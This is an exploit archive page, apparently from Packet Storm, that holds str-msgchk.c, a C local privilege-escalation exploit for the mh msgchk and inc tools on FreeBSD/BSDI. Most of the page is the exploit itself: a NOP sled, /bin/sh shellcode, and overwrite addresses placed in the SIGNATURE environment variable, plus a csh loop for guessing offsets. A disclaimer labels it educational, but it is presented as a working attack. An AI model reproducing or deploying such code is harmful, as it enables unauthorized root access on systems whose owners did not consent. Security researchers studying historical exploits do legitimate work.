what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

str-msgchk.c

str-msgchk.c
Posted Apr 3, 2000
Authored by Stran9er | Site hack.co.za

mh/msgchk and mh/inc demonstration local exploit for FreeBSD / BSDI.

tags | exploit, local
systems | freebsd
SHA-256 | 2bfbb7210f09b6f9327cad291bd8de8bb5765b54244ea6522c9bdd9383c87417

str-msgchk.c

Change Mirror Download
/* private */
/*
* mh/msgchk, mh/inc _demonstration_ LOCAL exploit for FreeBSD/BSDi
* ( ported from linux ) 4-Apr-1998 by stran9er
*
* Based:
* on some bsd_lpr_exploit.c by unknown author..
* and info from bugtraq
*
* Disclaimer:
* this program is for (demo) educational purposes only.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 1000
/* 700..1500 step 100 */
/* -3700..-2700 step 100 */
/* -1000 for bsdi4
*
#!/bin/csh
set v = -5000
while ($v < 5000)
echo try $v
./mh684bsd $v
@ v+=100
end
*
*/

#define BUFFER_SIZE 4000
#define BUFFER_NOP 999

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int offset = DEFAULT_OFFSET;

char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

int i;
if (argc>1) offset = atoi(argv[1]);
fprintf (stderr,"\nUsing offset %d (esp==%x)\n",offset,get_esp());
buff = malloc(BUFFER_SIZE);
if(!buff) {printf("can't allocate memory\n");exit(0);}

ptr = buff;

memset(ptr, 0x90, BUFFER_SIZE);

ptr += BUFFER_NOP-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i<(BUFFER_SIZE-BUFFER_NOP)/4;i++)
*(addr_ptr++) = get_esp() + offset;

ptr = (char *)addr_ptr;
*ptr = 0;
strncpy (buff,":)From:md@lspvs.sorosis.ro ",28); /* i said - ported from linux.. */

fprintf (stderr,"\nesp+offset==%x\n",get_esp()+offset);
setenv("SIGNATURE",buff,1);
execl ("/usr/contrib/mh/bin/msgchk", "msgchk", NULL);
// execl ("/usr/contrib/mh/bin/inc", "inc", NULL);
fprintf (stderr,"execl error...");
}
/* www.hack.co.za */
/* private */

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close